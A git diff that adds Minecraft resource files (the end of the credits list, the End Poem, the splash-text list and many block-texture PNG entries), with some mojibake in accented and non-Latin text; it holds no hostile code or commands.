+§7Associate Producers +§f Marc Watson + +§7Project Managers +§f Isabella Balk + +§7Director of Creative Communications +§f Owen Jones + +§7Head of Marketing Communications +§f Thomas Wiborgh + +§7Creative Communications Assistant +§f Per Landin +§f Tom Stone + +§7Head of Community Relations +§f Karim Walldén + +§7Community Relations Coordinator +§f Josefin Olsson + +§7Head of Social Media +§f Alice Löfgren + +§7Customer Support Team Lead +§f Mattias Victorin + +§7Customer Support +§f Andreas Thomasson +§f Antonia Kousathana +§f Cecilia Flumé +§f Cim Borg +§f David Stuart Dahlgren +§f Ellie Ashrafi +§f Fredrik Sandström +§f Freja Fors +§f Jonny Hair +§f Nasim Derakhshan +§f Nima Tolouifar +§f Patrik Södergren +§f Rui Ribeiro +§f Sarah MÃ¥rtensson + +§7Office Manager +§f Siri Hoel Andersson + +§7Office Coordinators +§f Aleksandra Zajac +§f Joël Älveroth + +§7Reception Manager +§f Chaimae Truving + +§7Financial Accountant +§f Josefina Axelsson + +§7IT Wizards +§f Cesar Sima Falck +§f Shoghi Cervantes + +§7Product Designer Team Lead +§f Amanda Ström + +§7Product Designers +§f Filip Thoms +§f Jennifer Hammervald +§f Sherin Kwan + +§7Motion Graphics Designer +§f Kim Petersen + +§7Intellectual Property Enforcement Team Lead +§f Olle Personne + +§7Intellectual Property Enforcement Agents +§f Mathias Andersson +§f Matilda Ã…kerman +§f Marcus Forss +§f Sylvia Chen +§f Johan Hedlund + +[C]§f=========== +[C]§eMojang Alumni +[C]§f=========== + +§7Chief Executive Officers +§f Carl Manneh + +§7Chief Finance Officer +§f Karin Severinson + +§7Chief Technology Officer +§f Rikard Herlitz + +§7Project Directors +§f Jakob Porsér + +§7Production Director +§f Daniel Kaplan + +§7Game Director +§f Henrik Pettersson + +§7Assistant Producers +§f Warren Loo + +§7Game Developers +§f Christian Westman +§f Daniel Frisk +§f Isaac de la Vega +§f Jakob Pogulis +§f Johan Bernhardsson +§f Magnus Bentling +§f Markus Arvidsson +§f Nathan Gilbert +§f Ryan Holtz +§f Tobias Möllstam + +§73D/VFX +§f Elin Ölund Forsling + +§7User Experience Design Director +§f Tobias Ahlin + +§7Additional Programming +§f Elliot 'Hippoplatimus' Segal +§f Paul Spooner +§f Ryan 'Scaevolus' Hitchman + +§7Lead System Engineers +§f Tom Miles +§f Tomas Sommar + +§7System Developers +§f Christoffer Hammarström +§f Leonard Gram +§f Martin Odhelius + +§7Realms Developers +§f Amir Moulavi +§f David Marby +§f Erik Bylund +§f Johnny Sjöö +§f Magnus Jäderberg +§f Mats Henricson +§f Philip Vieira + +§7Graphics Artists +§f Kristoffer Zetterstrand +§f Poi Poi Chen + +§7Head of Social Media +§f Amelia Dale + +§7Merchandise Art Director +§f Alexis Holmqvist + +§7Additional Graphics +§f Jonatan Pöljö +§f Mariana Graham Ramirez + +§7Creative Communications Manager +§f Martin Davies + +§7Creative Communications Assistant +§f Emily Richardson + +§7Business Intelligence +§f Brynjólfur Erlingsson + +§7Customer Support +§f Amelia Lindroth Henriksson +§f Ana Barata Martins +§f Andreas Andersson +§f Andreas Jörgensen +§f Angehlica Walling +§f Annika Tripke-Lund +§f Anton Albiin +§f Carl Johnsson +§f Dante Stjernberg +§f David Carlsson +§f Elin Frykholm +§f Eliza Hearsum +§f Erik Nordberg +§f Fredrik Henriksson +§f Henrik Davallius +§f Henry Shi +§f Joe Liu +§f Kevin Vesterlund +§f Mike Till +§f Nicole Jansson +§f Rabi Hadad +§f Robert Miskiewicz +§f Robin Cocks +§f Robin Thunström +§f Theodor Colbing + +§7Office Managers +§f Alex Andersson +§f Charlotte Wredesjö +§f Jill Curran +§f Linn Hultman +§f Mikaela Prim + +[C]§f============ +[C]§eSpecial Thanks +[C]§f============ +§f Daniel Brynolf +§f Pontus Hammarberg + + + + + +§f"Twenty years from now you will be more disappointed by the things that you didn't do than by the ones you did do. So throw off the bowlines. Sail away from the safe harbor. Catch the trade winds in your sails. Explore. Dream. Discover." §7- Unknown diff --git a/src/assets/minecraft/texts/end.txt b/src/assets/minecraft/texts/end.txt new file mode 100644 index 00000000..72775248 --- /dev/null +++ b/src/assets/minecraft/texts/end.txt @@ -0,0 +1,151 @@ +§3I see the player you mean. + +§2PLAYERNAME? + +§3Yes. Take care. It has reached a higher level now. It can read our thoughts. + +§2That doesn't matter. It thinks we are part of the game. + +§3I like this player. It played well. It did not give up. + +§2It is reading our thoughts as though they were words on a screen. + +§3That is how it chooses to imagine many things, when it is deep in the dream of a game. + +§2Words make a wonderful interface. Very flexible. And less terrifying than staring at the reality behind the screen. + +§3They used to hear voices. Before players could read. Back in the days when those who did not play called the players witches, and warlocks. And players dreamed they flew through the air, on sticks powered by demons. + +§2What did this player dream? + +§3This player dreamed of sunlight and trees. Of fire and water. It dreamed it created. And it dreamed it destroyed. It dreamed it hunted, and was hunted. It dreamed of shelter. + +§2Hah, the original interface. A million years old, and it still works. But what true structure did this player create, in the reality behind the screen? + +§3It worked, with a million others, to sculpt a true world in a fold of the §f§k§a§b§3, and created a §f§k§a§b§3 for §f§k§a§b§3, in the §f§k§a§b§3. + +§2It cannot read that thought. + +§3No. It has not yet achieved the highest level. That, it must achieve in the long dream of life, not the short dream of a game. + +§2Does it know that we love it? That the universe is kind? + +§3Sometimes, through the noise of its thoughts, it hears the universe, yes. + +§2But there are times it is sad, in the long dream. It creates worlds that have no summer, and it shivers under a black sun, and it takes its sad creation for reality. + +§3To cure it of sorrow would destroy it. The sorrow is part of its own private task. We cannot interfere. + +§2Sometimes when they are deep in dreams, I want to tell them, they are building true worlds in reality. Sometimes I want to tell them of their importance to the universe. Sometimes, when they have not made a true connection in a while, I want to help them to speak the word they fear. + +§3It reads our thoughts. + +§2Sometimes I do not care. Sometimes I wish to tell them, this world you take for truth is merely §f§k§a§b§2 and §f§k§a§b§2, I wish to tell them that they are §f§k§a§b§2 in the §f§k§a§b§2. They see so little of reality, in their long dream. + +§3And yet they play the game. + +§2But it would be so easy to tell them... + +§3Too strong for this dream. To tell them how to live is to prevent them living. + +§2I will not tell the player how to live. + +§3The player is growing restless. + +§2I will tell the player a story. + +§3But not the truth. + +§2No. A story that contains the truth safely, in a cage of words. Not the naked truth that can burn over any distance. + +§3Give it a body, again. + +§2Yes. Player... + +§3Use its name. + +§2PLAYERNAME. Player of games. + +§3Good. + +§2Take a breath, now. Take another. Feel air in your lungs. Let your limbs return. Yes, move your fingers. Have a body again, under gravity, in air. Respawn in the long dream. There you are. Your body touching the universe again at every point, as though you were separate things. As though we were separate things. + +§3Who are we? Once we were called the spirit of the mountain. Father sun, mother moon. Ancestral spirits, animal spirits. Jinn. Ghosts. The green man. Then gods, demons. Angels. Poltergeists. Aliens, extraterrestrials. Leptons, quarks. The words change. We do not change. + +§2We are the universe. We are everything you think isn't you. You are looking at us now, through your skin and your eyes. And why does the universe touch your skin, and throw light on you? To see you, player. To know you. And to be known. I shall tell you a story. + +§2Once upon a time, there was a player. + +§3The player was you, PLAYERNAME. + +§2Sometimes it thought itself human, on the thin crust of a spinning globe of molten rock. The ball of molten rock circled a ball of blazing gas that was three hundred and thirty thousand times more massive than it. They were so far apart that light took eight minutes to cross the gap. The light was information from a star, and it could burn your skin from a hundred and fifty million kilometres away. + +§2Sometimes the player dreamed it was a miner, on the surface of a world that was flat, and infinite. The sun was a square of white. The days were short; there was much to do; and death was a temporary inconvenience. + +§3Sometimes the player dreamed it was lost in a story. + +§2Sometimes the player dreamed it was other things, in other places. Sometimes these dreams were disturbing. Sometimes very beautiful indeed. Sometimes the player woke from one dream into another, then woke from that into a third. + +§3Sometimes the player dreamed it watched words on a screen. + +§2Let's go back. + +§2The atoms of the player were scattered in the grass, in the rivers, in the air, in the ground. A woman gathered the atoms; she drank and ate and inhaled; and the woman assembled the player, in her body. + +§2And the player awoke, from the warm, dark world of its mother's body, into the long dream. + +§2And the player was a new story, never told before, written in letters of DNA. And the player was a new program, never run before, generated by a sourcecode a billion years old. And the player was a new human, never alive before, made from nothing but milk and love. + +§3You are the player. The story. The program. The human. Made from nothing but milk and love. + +§2Let's go further back. + +§2The seven billion billion billion atoms of the player's body were created, long before this game, in the heart of a star. So the player, too, is information from a star. And the player moves through a story, which is a forest of information planted by a man called Julian, on a flat, infinite world created by a man called Markus, that exists inside a small, private world created by the player, who inhabits a universe created by... + +§3Shush. Sometimes the player created a small, private world that was soft and warm and simple. Sometimes hard, and cold, and complicated. Sometimes it built a model of the universe in its head; flecks of energy, moving through vast empty spaces. Sometimes it called those flecks "electrons" and "protons". + +§2Sometimes it called them "planets" and "stars". + +§2Sometimes it believed it was in a universe that was made of energy that was made of offs and ons; zeros and ones; lines of code. Sometimes it believed it was playing a game. Sometimes it believed it was reading words on a screen. + +§3You are the player, reading words... + +§2Shush... Sometimes the player read lines of code on a screen. Decoded them into words; decoded words into meaning; decoded meaning into feelings, emotions, theories, ideas, and the player started to breathe faster and deeper and realised it was alive, it was alive, those thousand deaths had not been real, the player was alive + +§3You. You. You are alive. + +§2and sometimes the player believed the universe had spoken to it through the sunlight that came through the shuffling leaves of the summer trees + +§3and sometimes the player believed the universe had spoken to it through the light that fell from the crisp night sky of winter, where a fleck of light in the corner of the player's eye might be a star a million times as massive as the sun, boiling its planets to plasma in order to be visible for a moment to the player, walking home at the far side of the universe, suddenly smelling food, almost at the familiar door, about to dream again + +§2and sometimes the player believed the universe had spoken to it through the zeros and ones, through the electricity of the world, through the scrolling words on a screen at the end of a dream + +§3and the universe said I love you + +§2and the universe said you have played the game well + +§3and the universe said everything you need is within you + +§2and the universe said you are stronger than you know + +§3and the universe said you are the daylight + +§2and the universe said you are the night + +§3and the universe said the darkness you fight is within you + +§2and the universe said the light you seek is within you + +§3and the universe said you are not alone + +§2and the universe said you are not separate from every other thing + +§3and the universe said you are the universe tasting itself, talking to itself, reading its own code + +§2and the universe said I love you because you are love. + +§3And the game was over and the player woke up from the dream. And the player began a new dream. And the player dreamed again, dreamed better. And the player was the universe. And the player was love. + +§3You are the player. + +§2Wake up. diff --git a/src/assets/minecraft/texts/splashes.txt b/src/assets/minecraft/texts/splashes.txt new file mode 100644 index 00000000..d32f0096 --- /dev/null +++ b/src/assets/minecraft/texts/splashes.txt @@ -0,0 +1,417 @@ +As seen on TV! +Awesome! +100% pure! +May contain nuts! +More polygons! +Moderately attractive! +Limited edition! +Flashing letters! +It's here! +Best in class! +It's finished! +Kind of dragon free! +Excitement! +More than 500 sold! +One of a kind! +Heaps of hits on YouTube! +Indev! +Spiders everywhere! +Check it out! +Holy cow, man! +It's a game! +Made in Sweden! +Uses LWJGL! +Reticulating splines! +Minecraft! +Yaaay! +Singleplayer! +Keyboard compatible! +Ingots! +Exploding creepers! +That's no moon! +l33t! +Create! +Survive! +Dungeon! +Exclusive! +The bee's knees! +Closed source! +Classy! +Wow! +Not on steam! +Oh man! +Awesome community! +Pixels! +Teetsuuuuoooo! +Kaaneeeedaaaa! +Now with difficulty! +Enhanced! +90% bug free! +Pretty! +12 herbs and spices! +Fat free! +Absolutely no memes! +Free dental! +Ask your doctor! +Minors welcome! +Cloud computing! +Legal in Finland! +Hard to label! +Technically good! +Bringing home the bacon! +Indie! +GOTY! +Ceci n'est pas une title screen! +Euclidian! +Now in 3D! +Inspirational! +Herregud! +Complex cellular automata! +Yes, sir! +Played by cowboys! +OpenGL 2.1 (if supported)! +Thousands of colors! +Try it! +Age of Wonders is better! +Try the mushroom stew! +Sensational! +Hot tamale, hot hot tamale! +Play him off, keyboard cat! +Guaranteed! +Macroscopic! +Bring it on! +Random splash! +Call your mother! +Monster infighting! +Loved by millions! +Ultimate edition! +Freaky! +You've got a brand new key! +Water proof! +Uninflammable! +Whoa, dude! +All inclusive! +Tell your friends! +NP is not in P! +Music by C418! +Livestreamed! +Haunted! +Polynomial! +Terrestrial! +All is full of love! +Full of stars! +Scientific! +Not as cool as Spock! +Collaborate and listen! +Never dig down! +Take frequent breaks! +Not linear! +Han shot first! +Nice to meet you! +Buckets of lava! +Ride the pig! +Larger than Earth! +sqrt(-1) love you! +Phobos anomaly! +Punching wood! +Falling off cliffs! +1% sugar! +150% hyperbole! +Synecdoche! +Let's danec! +Seecret Friday update! +Reference implementation! +Kiss the sky! +20 GOTO 10! +Verlet intregration! +Peter Griffin! +Do not distribute! +Cogito ergo sum! +4815162342 lines of code! +A skeleton popped out! +The sum of its parts! +BTAF used to be good! +I miss ADOM! +umop-apisdn! +OICU812! +Bring me Ray Cokes! +Finger-licking! +Thematic! +Pneumatic! +Sublime! +Octagonal! +Une baguette! +Gargamel plays it! +Rita is the new top dog! +SWM forever! +Representing Edsbyn! +Matt Damon! +Supercalifragilisticexpialidocious! +Consummate V's! +Cow Tools! +Double buffered! +Fan fiction! +Flaxkikare! +Jason! Jason! Jason! +Hotter than the sun! +Internet enabled! +Autonomous! +Engage! +Fantasy! +DRR! DRR! DRR! +Kick it root down! +Regional resources! +Woo, facepunch! +Woo, somethingawful! +Woo, /v/! +Woo, tigsource! +Woo, worldofminecraft! +Woo, reddit! +Woo, 2pp! +Google anlyticsed! +Now supports åäö! +Give us Gordon! +Tip your waiter! +Very fun! +12345 is a bad password! +Vote for net neutrality! +Lives in a pineapple under the sea! +MAP11 has two names! +Omnipotent! +Gasp! +...! +Bees, bees, bees, bees! +Jag känner en bot! +This text is hard to read if you play the game at the default resolution, but at 1080p it's fine! +Haha, LOL! +Hampsterdance! +Menger sponge! +idspispopd! +Eple (original edit)! +So fresh, so clean! +Slow acting portals! +Try the Nether! +Don't look directly at the bugs! +Oh, ok, Pigmen! +Finally with ladders! +Scary! +Play Minecraft, Watch Topgear, Get Pig! +Twittered about! +Jump up, jump up, and get down! +Joel is neat! +A riddle, wrapped in a mystery! +This parrot is no more! It has ceased to be! +Welcome to your Doom! +Stay a while, stay forever! +Stay a while and listen! +Treatment for your rash! +"Autological" is! +Information wants to be free! +"Almost never" is an interesting concept! +Lots of truthiness! +The creeper is a spy! +Turing complete! +It's groundbreaking! +Let our battle's begin! +The sky is the limit! +Jeb has amazing hair! +Ryan also has amazing hair! +Casual gaming! +Undefeated! +Kinda like Lemmings! +Follow the train, CJ! +Leveraging synergy! +This message will never appear on the splash screen, isn't that weird? +DungeonQuest is unfair! +90210! +Check out the far lands! +Tyrion would love it! +Also try VVVVVV! +Also try Super Meat Boy! +Also try Terraria! +Also try Mount And Blade! +Also try Project Zomboid! +Also try World of Goo! +Also try Limbo! +Also try Pixeljunk Shooter! +Also try Braid! +That's super! +Bread is pain! +Read more books! +Khaaaaaaaaan! +Less addictive than TV Tropes! +More addictive than lemonade! +Bigger than a bread box! +Millions of peaches! +Fnord! +This is my true form! +Don't bother with the clones! +Pumpkinhead! +Made by Jeb! +Has an ending! +Finally complete! +Feature packed! +Boots with the fur! +Stop, hammertime! +Testificates! +Conventional! +Homeomorphic to a 3-sphere! +Doesn't avoid double negatives! +Place ALL the blocks! +Does barrel rolls! +Meeting expectations! +PC gaming since 1873! +Ghoughpteighbteau tchoghs! +Déjà vu! +Déjà vu! +Got your nose! +Haley loves Elan! +Afraid of the big, black bat! +Doesn't use the U-word! +Child's play! +See you next Friday or so! +From the streets of Södermalm! +150 bpm for 400000 minutes! +Technologic! +Funk soul brother! +Pumpa kungen! +日本ãƒãƒ­ãƒ¼ï¼ +한국 안녕하세요! +Helo Cymru! +Cześć Polsko! +ä½ å¥½ä¸­å›½ï¼ +Привет РоÑÑиÑ! +Γεια σου Ελλάδα! +My life for Aiur! +Lennart lennart = new Lennart(); +I see your vocabulary has improved! +Who put it there? +You can't explain that! +if not ok then return end +§1C§2o§3l§4o§5r§6m§7a§8t§9i§ac +§kFUNKY LOL +Big Pointy Teeth! +Bekarton guards the gate! +Mmmph, mmph! +Don't feed avocados to parrots! +Swords for everyone! +Plz reply to my tweet! +.party()! +Take her pillow! +Put that cookie down! +Pretty scary! +I have a suggestion. +Now with extra hugs! +Now Java 8! +Woah. +HURNERJSGER? +What's up, Doc? +Now contains 32 random daily cats! +That's Numberwang! +pls rt +Do you want to join my server? +Put a little fence around it! +Throw a blanket over it! +One day, somewhere in the future, my work will be quoted! +Now with additional stuff! +Extra things! +Yay, puppies for everyone! +So sweet, like a nice bon bon! +Very influential in its circle! +Now With Multiplayer! +Rise from your grave! +Warning! A huge battleship "STEVE" is approaching fast! +Blue warrior shot the food! +Run, coward! I hunger! +Flavor with no seasoning! +Strange, but not a stranger! +Tougher than diamonds, rich like cream! +It swings, it jives! +Cruising streets for gold! +Take an eggbeater and beat it against a skillet! +Make me a table, a funky table! +Take the elevator to the mezzanine! +Stop being reasonable, this is the Internet! +/give @a hugs 64 +This is good for Realms. +Any computer is a laptop if you're brave enough! +Do it all, everything! +Where there is not light, there can spider! +GNU Terry Pratchett +More Digital! +doot doot +Falling with style! +There's no stopping the Trollmaso +Throw yourself at the ground and miss +Rule #1: it's never my fault +Replaced molten cheese with blood? +Absolutely fixed relatively broken coordinates +Boats FTW +Javalicious edition +Should not be played while driving +You're going too fast! +Don't feed chocolate to parrots! +The true meaning of covfefe +An illusion! What are you hiding? +Something's not quite right... +Thank you for the fish! +All rumors are true! +Truly gone fishing! +Rainbow turtle? +Something funny! +I need more context. +Ahhhhhh! +Don't worry, be happy! +Water bottle! +What's the question? +Plant a tree! +Go to the dentist! +What do you expect? +Look mum, I'm in a splash! +It came from space. +Awesome game design right there! +Ph1lza had a good run! +10 years of Mining and Crafting! +Ping the human! +In case it isn't obvious, foxes aren't players. +Buzzy Bees! +Minecraft Java Edition presents: Disgusting Bugs +Wash your hands! +Soap and water! +Support local businesses! +Stay home and play games! +Stay safe! +Stay strong! +Cough or sneeze into your elbow! +Don’t touch your face! +Support elderly relatives and friends! +Prepare, but don’t hoard! +Gamers unite – separately in your own homes! +Save the world – stay inside! +Shop for your elders! +Hang out with your friends online! +Honey, I grew the bees! +Find your claw! +Everybody do the Leif! +<3 Max & 99 & Ducky! +Bushy eyebrows! +Edit is a name! +From free range developers! +Music by Lena Raine! +Aww man! +#minecraftfarms +And my pickaxe! +Envision! Create! Share! +Fabulous graphics! +Also try Minecraft Dungeons! +Vanilla! +May contain traces of citrus! +Zoglin!? +Black lives matter! +Be anti-racist! +Learn about allyship! +Speak OUT against injustice and UP for equality! +Amplify and listen to BIPOC voices! +Educate your friends on anti-racism! +Support the BIPOC community and creators! +Stand up for equality in your community! diff --git a/src/assets/minecraft/textures/block/acacia_door_bottom.png b/src/assets/minecraft/textures/block/acacia_door_bottom.png new file mode 100644 index 00000000..53979a2e Binary files /dev/null and b/src/assets/minecraft/textures/block/acacia_door_bottom.png differ diff --git a/src/assets/minecraft/textures/block/acacia_door_top.png b/src/assets/minecraft/textures/block/acacia_door_top.png new file mode 100644 index 00000000..4b634d6f Binary files /dev/null and b/src/assets/minecraft/textures/block/acacia_door_top.png differ diff --git a/src/assets/minecraft/textures/block/acacia_leaves.png b/src/assets/minecraft/textures/block/acacia_leaves.png new file mode 100644 index 00000000..8cbb1eb1 Binary files /dev/null and b/src/assets/minecraft/textures/block/acacia_leaves.png differ diff --git a/src/assets/minecraft/textures/block/acacia_log.png b/src/assets/minecraft/textures/block/acacia_log.png new file mode 100644 index 00000000..bf2880b9 Binary files /dev/null and b/src/assets/minecraft/textures/block/acacia_log.png differ diff --git a/src/assets/minecraft/textures/block/acacia_log_top.png b/src/assets/minecraft/textures/block/acacia_log_top.png new file mode 100644 index 00000000..fc02620c Binary files /dev/null and b/src/assets/minecraft/textures/block/acacia_log_top.png differ diff --git a/src/assets/minecraft/textures/block/acacia_planks.png b/src/assets/minecraft/textures/block/acacia_planks.png new file mode 100644 index 00000000..b83e4fe1 Binary files /dev/null and b/src/assets/minecraft/textures/block/acacia_planks.png differ diff --git a/src/assets/minecraft/textures/block/acacia_sapling.png b/src/assets/minecraft/textures/block/acacia_sapling.png new file mode 100644 index 00000000..6817397c Binary files /dev/null and b/src/assets/minecraft/textures/block/acacia_sapling.png differ diff --git a/src/assets/minecraft/textures/block/acacia_trapdoor.png b/src/assets/minecraft/textures/block/acacia_trapdoor.png new file mode 100644 index 00000000..e8eeb9c1 Binary files /dev/null and b/src/assets/minecraft/textures/block/acacia_trapdoor.png differ diff --git a/src/assets/minecraft/textures/block/activator_rail.png b/src/assets/minecraft/textures/block/activator_rail.png new file mode 100644 index 00000000..721f3f5f Binary files /dev/null and b/src/assets/minecraft/textures/block/activator_rail.png differ diff --git a/src/assets/minecraft/textures/block/activator_rail_on.png b/src/assets/minecraft/textures/block/activator_rail_on.png new file mode 100644 index 00000000..59844b0c Binary files /dev/null and b/src/assets/minecraft/textures/block/activator_rail_on.png differ diff --git a/src/assets/minecraft/textures/block/allium.png b/src/assets/minecraft/textures/block/allium.png new file mode 100644 index 00000000..3750ff3e Binary files /dev/null and b/src/assets/minecraft/textures/block/allium.png differ diff --git a/src/assets/minecraft/textures/block/ancient_debris_side.png b/src/assets/minecraft/textures/block/ancient_debris_side.png new file mode 100644 index 00000000..ee2d0dd2 Binary files /dev/null and b/src/assets/minecraft/textures/block/ancient_debris_side.png differ diff --git a/src/assets/minecraft/textures/block/ancient_debris_top.png b/src/assets/minecraft/textures/block/ancient_debris_top.png new file mode 100644 index 00000000..3893cddc Binary files /dev/null and b/src/assets/minecraft/textures/block/ancient_debris_top.png differ diff --git a/src/assets/minecraft/textures/block/andesite.png b/src/assets/minecraft/textures/block/andesite.png new file mode 100644 index 00000000..6bf96add Binary files /dev/null and b/src/assets/minecraft/textures/block/andesite.png differ diff --git a/src/assets/minecraft/textures/block/anvil.png b/src/assets/minecraft/textures/block/anvil.png new file mode 100644 index 00000000..732038ec Binary files /dev/null and b/src/assets/minecraft/textures/block/anvil.png differ diff --git a/src/assets/minecraft/textures/block/anvil_top.png b/src/assets/minecraft/textures/block/anvil_top.png new file mode 100644 index 00000000..f1f6bf71 Binary files /dev/null and b/src/assets/minecraft/textures/block/anvil_top.png differ diff --git a/src/assets/minecraft/textures/block/attached_melon_stem.png b/src/assets/minecraft/textures/block/attached_melon_stem.png new file mode 100644 index 00000000..62ad943a Binary files /dev/null and b/src/assets/minecraft/textures/block/attached_melon_stem.png differ diff --git a/src/assets/minecraft/textures/block/attached_pumpkin_stem.png b/src/assets/minecraft/textures/block/attached_pumpkin_stem.png new file mode 100644 index 00000000..6a5c10e1 Binary files /dev/null and b/src/assets/minecraft/textures/block/attached_pumpkin_stem.png differ diff --git a/src/assets/minecraft/textures/block/azure_bluet.png b/src/assets/minecraft/textures/block/azure_bluet.png new file mode 100644 index 00000000..250fcc07 Binary files /dev/null and b/src/assets/minecraft/textures/block/azure_bluet.png differ diff --git a/src/assets/minecraft/textures/block/bamboo_large_leaves.png b/src/assets/minecraft/textures/block/bamboo_large_leaves.png new file mode 100644 index 00000000..4fd2fb00 Binary files /dev/null and b/src/assets/minecraft/textures/block/bamboo_large_leaves.png differ diff --git a/src/assets/minecraft/textures/block/bamboo_singleleaf.png b/src/assets/minecraft/textures/block/bamboo_singleleaf.png new file mode 100644 index 00000000..42f1f59a Binary files /dev/null and b/src/assets/minecraft/textures/block/bamboo_singleleaf.png differ diff --git a/src/assets/minecraft/textures/block/bamboo_small_leaves.png b/src/assets/minecraft/textures/block/bamboo_small_leaves.png new file mode 100644 index 00000000..81aca7e5 Binary files /dev/null and b/src/assets/minecraft/textures/block/bamboo_small_leaves.png differ diff --git a/src/assets/minecraft/textures/block/bamboo_stage0.png b/src/assets/minecraft/textures/block/bamboo_stage0.png new file mode 100644 index 00000000..c16c3716 Binary files /dev/null and b/src/assets/minecraft/textures/block/bamboo_stage0.png differ diff --git a/src/assets/minecraft/textures/block/bamboo_stalk.png b/src/assets/minecraft/textures/block/bamboo_stalk.png new file mode 100644 index 00000000..93cfa80a Binary files /dev/null and b/src/assets/minecraft/textures/block/bamboo_stalk.png differ diff --git a/src/assets/minecraft/textures/block/barrel_bottom.png b/src/assets/minecraft/textures/block/barrel_bottom.png new file mode 100644 index 00000000..22e065be Binary files /dev/null and b/src/assets/minecraft/textures/block/barrel_bottom.png differ diff --git a/src/assets/minecraft/textures/block/barrel_side.png b/src/assets/minecraft/textures/block/barrel_side.png new file mode 100644 index 00000000..1c3cb794 Binary files /dev/null and b/src/assets/minecraft/textures/block/barrel_side.png differ diff --git a/src/assets/minecraft/textures/block/barrel_top.png b/src/assets/minecraft/textures/block/barrel_top.png new file mode 100644 index 00000000..c136cedf Binary files /dev/null and b/src/assets/minecraft/textures/block/barrel_top.png differ diff --git a/src/assets/minecraft/textures/block/barrel_top_open.png b/src/assets/minecraft/textures/block/barrel_top_open.png new file mode 100644 index 00000000..4b11386f Binary files /dev/null and b/src/assets/minecraft/textures/block/barrel_top_open.png differ diff --git a/src/assets/minecraft/textures/block/basalt_side.png b/src/assets/minecraft/textures/block/basalt_side.png new file mode 100644 index 00000000..053074fe Binary files /dev/null and b/src/assets/minecraft/textures/block/basalt_side.png differ diff --git a/src/assets/minecraft/textures/block/basalt_top.png b/src/assets/minecraft/textures/block/basalt_top.png new file mode 100644 index 00000000..d55e4af1 Binary files /dev/null and b/src/assets/minecraft/textures/block/basalt_top.png differ diff --git a/src/assets/minecraft/textures/block/beacon.png b/src/assets/minecraft/textures/block/beacon.png new file mode 100644 index 00000000..11468850 Binary files /dev/null and b/src/assets/minecraft/textures/block/beacon.png differ diff --git a/src/assets/minecraft/textures/block/bedrock.png b/src/assets/minecraft/textures/block/bedrock.png new file mode 100644 index 00000000..8872226a Binary files /dev/null and b/src/assets/minecraft/textures/block/bedrock.png differ diff --git a/src/assets/minecraft/textures/block/bee_nest_bottom.png b/src/assets/minecraft/textures/block/bee_nest_bottom.png new file mode 100644 index 00000000..9285e6bf Binary files /dev/null and b/src/assets/minecraft/textures/block/bee_nest_bottom.png differ diff --git a/src/assets/minecraft/textures/block/bee_nest_front.png b/src/assets/minecraft/textures/block/bee_nest_front.png new file mode 100644 index 00000000..026551a2 Binary files /dev/null and b/src/assets/minecraft/textures/block/bee_nest_front.png differ diff --git a/src/assets/minecraft/textures/block/bee_nest_front_honey.png b/src/assets/minecraft/textures/block/bee_nest_front_honey.png new file mode 100644 index 00000000..06fac14c Binary files /dev/null and b/src/assets/minecraft/textures/block/bee_nest_front_honey.png differ diff --git a/src/assets/minecraft/textures/block/bee_nest_side.png b/src/assets/minecraft/textures/block/bee_nest_side.png new file mode 100644 index 00000000..c604de79 Binary files /dev/null and b/src/assets/minecraft/textures/block/bee_nest_side.png differ diff --git a/src/assets/minecraft/textures/block/bee_nest_top.png b/src/assets/minecraft/textures/block/bee_nest_top.png new file mode 100644 index 00000000..75aff103 Binary files /dev/null and b/src/assets/minecraft/textures/block/bee_nest_top.png differ diff --git a/src/assets/minecraft/textures/block/beehive_end.png b/src/assets/minecraft/textures/block/beehive_end.png new file mode 100644 index 00000000..6bdf368b Binary files /dev/null and b/src/assets/minecraft/textures/block/beehive_end.png differ diff --git a/src/assets/minecraft/textures/block/beehive_front.png b/src/assets/minecraft/textures/block/beehive_front.png new file mode 100644 index 00000000..3679deb4 Binary files /dev/null and b/src/assets/minecraft/textures/block/beehive_front.png differ diff --git a/src/assets/minecraft/textures/block/beehive_front_honey.png b/src/assets/minecraft/textures/block/beehive_front_honey.png new file mode 100644 index 00000000..453f6d25 Binary files /dev/null and b/src/assets/minecraft/textures/block/beehive_front_honey.png differ diff --git a/src/assets/minecraft/textures/block/beehive_side.png b/src/assets/minecraft/textures/block/beehive_side.png new file mode 100644 index 00000000..2fcf0643 Binary files /dev/null and b/src/assets/minecraft/textures/block/beehive_side.png differ diff --git a/src/assets/minecraft/textures/block/beetroots_stage0.png b/src/assets/minecraft/textures/block/beetroots_stage0.png new file mode 100644 index 00000000..d27726a4 Binary files /dev/null and b/src/assets/minecraft/textures/block/beetroots_stage0.png differ diff --git a/src/assets/minecraft/textures/block/beetroots_stage1.png b/src/assets/minecraft/textures/block/beetroots_stage1.png new file mode 100644 index 00000000..5d0a6ba7 Binary files /dev/null and b/src/assets/minecraft/textures/block/beetroots_stage1.png differ diff --git a/src/assets/minecraft/textures/block/beetroots_stage2.png b/src/assets/minecraft/textures/block/beetroots_stage2.png new file mode 100644 index 00000000..6050ebbd Binary files /dev/null and b/src/assets/minecraft/textures/block/beetroots_stage2.png differ diff --git a/src/assets/minecraft/textures/block/beetroots_stage3.png b/src/assets/minecraft/textures/block/beetroots_stage3.png new file mode 100644 index 00000000..6ded7705 Binary files /dev/null and b/src/assets/minecraft/textures/block/beetroots_stage3.png differ diff --git a/src/assets/minecraft/textures/block/bell_bottom.png b/src/assets/minecraft/textures/block/bell_bottom.png new file mode 100644 index 00000000..04a87996 Binary files /dev/null and b/src/assets/minecraft/textures/block/bell_bottom.png differ diff --git a/src/assets/minecraft/textures/block/bell_side.png b/src/assets/minecraft/textures/block/bell_side.png new file mode 100644 index 00000000..b44bcc4a Binary files /dev/null and b/src/assets/minecraft/textures/block/bell_side.png differ diff --git a/src/assets/minecraft/textures/block/bell_top.png b/src/assets/minecraft/textures/block/bell_top.png new file mode 100644 index 00000000..7fce98dc Binary files /dev/null and b/src/assets/minecraft/textures/block/bell_top.png differ diff --git a/src/assets/minecraft/textures/block/birch_door_bottom.png b/src/assets/minecraft/textures/block/birch_door_bottom.png new file mode 100644 index 00000000..b29d01ad Binary files /dev/null and b/src/assets/minecraft/textures/block/birch_door_bottom.png differ diff --git a/src/assets/minecraft/textures/block/birch_door_top.png b/src/assets/minecraft/textures/block/birch_door_top.png new file mode 100644 index 00000000..2e0e6afd Binary files /dev/null and b/src/assets/minecraft/textures/block/birch_door_top.png differ diff --git a/src/assets/minecraft/textures/block/birch_leaves.png b/src/assets/minecraft/textures/block/birch_leaves.png new file mode 100644 index 00000000..6a75c99e Binary files /dev/null and b/src/assets/minecraft/textures/block/birch_leaves.png 